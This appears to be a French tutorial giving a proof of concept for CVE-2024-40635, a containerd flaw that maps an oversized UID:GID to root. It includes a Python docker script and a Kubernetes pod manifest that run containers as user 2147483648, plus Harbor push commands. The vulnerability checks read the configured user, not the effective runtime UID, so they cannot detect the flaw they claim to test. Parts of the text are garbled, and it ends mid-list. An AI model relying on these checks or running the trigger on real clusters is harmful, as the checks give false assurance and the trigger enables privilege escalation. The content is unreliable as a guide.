
Code de preuve de concept pour démontrer la vulnérabilité CVE-2024-40635
Code de preuve de concept pour démontrer la vulnérabilité CVE-2024-40635 Données collectées depuis : https://nvd.nist.gov/vuln/detail/CVE-2024-40635
import docker
Cette instruction importe la bibliothèque Python docker, qui permet d’interagir avec Docker via son API. Si cette bibliothèque n’est pas installée, vous pouvez l’ajouter en exécutant :
pip install docker
client = docker.from_env()
Ici, nous créons un objet client Docker en utilisant la méthode docker.from_env(). Cela se connecte au démon Docker de votre machine (ou à un hôte distant, si configuré).
def is_system_vulnerable(container):
try:
# Inspecter les détails du conteneur
details = container.attrs
uid_gid = details['Config']['User']
print(f"Container UID:GID = {uid_gid}") # Afficher le UID:GID
if uid_gid == "0:0": # UID:GID racine
return True
return False
except Exception as e:
print(f"Erreur lors de la vérification des détails du conteneur : {e}")
return False
Objectif : Cette fonction vérifie si le système est vulnérable en inspectant les attributs du conteneur créé.
Étapes clés :
container.attrs : Récupère toutes les métadonnées sur le conteneur (configuration, paramètres d’exécution, etc.).
details['Config']['User'] : Extrait l’UID:GID (identifiant utilisateur et de groupe) sous lequel le conteneur s’exécute. C’est la propriété que nous testons.
print(f"Container UID:GID = {uid_gid}") : Affiche toujours l’UID:GID pour une visibilité immédiate.
Vérification de la vulnérabilité : Si l’UID:GID est "0:0", cela indique que le conteneur s’exécute avec les privilèges root, et le système est vulnérable.
container = client.containers.run(
"vulnerable-image", # Remplacez par votre image de test
user="2147483648:2147483648", # UID:GID dépassant l’entier signé 32 bits
detach=True
)
client.containers.run : Crée et démarre un conteneur Docker.
"vulnerable-image" : Remplacez par le nom d’une image Docker réelle adaptée au test.
user="2147483648:2147483648" : Ici, nous définissons un identifiant utilisateur et de groupe (UID:GID) personnalisé. Les valeurs dépassent la plage des entiers signés 32 bits, ce qui constitue la condition déclencheuse de la vulnérabilité.
detach=True : Cela garantit que le conteneur s’exécute en arrière-plan, permettant au script de continuer sans attendre la fin de l’exécution du conteneur.
try:
...
except Exception as e:
print(f"Erreur : {e}")
Ce bloc try-except garantit que toutes les erreurs survenues lors de la création ou de l’exécution du conteneur sont capturées et affichées, évitant une terminaison brutale du script.
print(f"Conteneur {container.id} démarré.")
Une fois le conteneur créé et démarré avec succès, son identifiant unique est affiché pour référence. Cela est utile pour le débogage ou pour inspecter plus en détail le conteneur.
if is_system_vulnerable(container):
print("Le système est vulnérable : le conteneur s’exécute en tant que root !")
else:
print("Le système n’est pas vulnérable.")
Cette instruction appelle la fonction is_system_vulnerable, en lui passant le conteneur créé comme argument.
En fonction du résultat (True pour vulnérable, False pour non vulnérable), elle affiche un message correspondant.
Le script est conçu pour fournir des informations détaillées dans sa sortie, notamment :
L’UID:GID attribué au conteneur.
Une indication claire de la vulnérabilité ou non du système.
Imaginons que ce script soit exécuté dans un environnement de test et que ce qui suit se produise :
2147483648:2147483648.0:0 (root), ce qui amène le conteneur à s’exécuter avec les privilèges root.Conteneur abc123 démarré.
Container UID:GID = 0:0
Le système est vulnérable : le conteneur s’exécute en tant que root !
Sinon, si le système gère correctement les grandes valeurs d’UID:GID et ne les mappe pas sur root, vous pourriez voir :
Conteneur xyz456 démarré.
Container UID:GID = 2147483648:2147483648
Le système n’est pas vulnérable.
"vulnerable-image" par une image Docker adaptée à votre scénario de test (par exemple, une image avec des dépendances minimales).L’exécution de cette preuve de concept (PoC) dans un environnement réel comme Kubernetes et Harbor à des fins de test de pénétration nécessite une planification minutieuse pour garantir que les tests sont contrôlés, éthiques et impactants. Voici un aperçu de la façon de procéder :
1. Planifier et préparer Comprendre le périmètre : Définissez les limites de vos tests. Assurez-vous d’avoir les autorisations explicites pour effectuer des tests de pénétration dans l’environnement réel.
2. Sauvegarde : Créez des sauvegardes des systèmes et conteneurs critiques au cas où les tests affecteraient leur disponibilité ou leurs données.
3 Environnement de test : Configurez un namespace ou un cluster dédié dans Kubernetes pour cette PoC afin d’éviter d’affecter les charges de travail de production.
Déployez un conteneur utilisant la version vulnérable de containerd (v1.6.35-gke.0) dans votre cluster Kubernetes.
Utilisez une image Docker (par exemple, "vulnerable-image") avec des dépendances minimales pour réduire la surface d’attaque.
Exemple de YAML pour un déploiement Kubernetes :
apiVersion: v1
kind: Pod
metadata:
name: vulnerable-pod
namespace: pentest
spec:
containers:
- name: vulnerable-container
image: vulnerable-image # Remplacez par votre image de test
securityContext:
runAsUser: 2147483648 # Dépasse intentionnellement l’entier signé 32 bits
runAsGroup: 2147483648
Appliquez le YAML avec :
kubectl apply -f pod.yml
b. Vérifier avec la PoC
Exécutez le script Python que vous avez développé depuis une machine ayant accès au cluster Kubernetes. Par exemple, vous pouvez modifier le script pour interagir avec Kubernetes en utilisant la bibliothèque Python kubernetes.
Installez-la avec :
pip install kubernetes
Voici un extrait mis à jour pour intégrer Kubernetes :
from kubernetes import client, config
# Charger la configuration Kubernetes
config.load_kube_config()
# Créer un client API Kubernetes
v1 = client.CoreV1Api()
# Vérifier l'UID:GID pour le pod spécifié
def check_pod_user(pod_name, namespace):
pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
uid = pod.spec.containers[0].security_context.run_as_user
gid = pod.spec.containers[0].security_context.run_as_group
print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
if uid == 0 and gid == 0:
print("Le système est vulnérable : le pod s’exécute en tant que root !")
else:
print("Le système n’est pas vulnérable.")
check_pod_user("vulnerable-pod", "pentest")
docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest
Harbor permet de contrôler l’accès aux images, donc restreignez l’accès pour garantir que l’image vulnérable n’est utilisée que lors des tests de pénétration.
Validation : Après avoir exécuté la PoC, vérifiez les logs pour toute indication que la vulnérabilité a été déclenchée. Par exemple, confirmez si le conteneur (ou le pod) s’exécute en tant que root.
Documentation : Enregistrez vos constatations, telles que :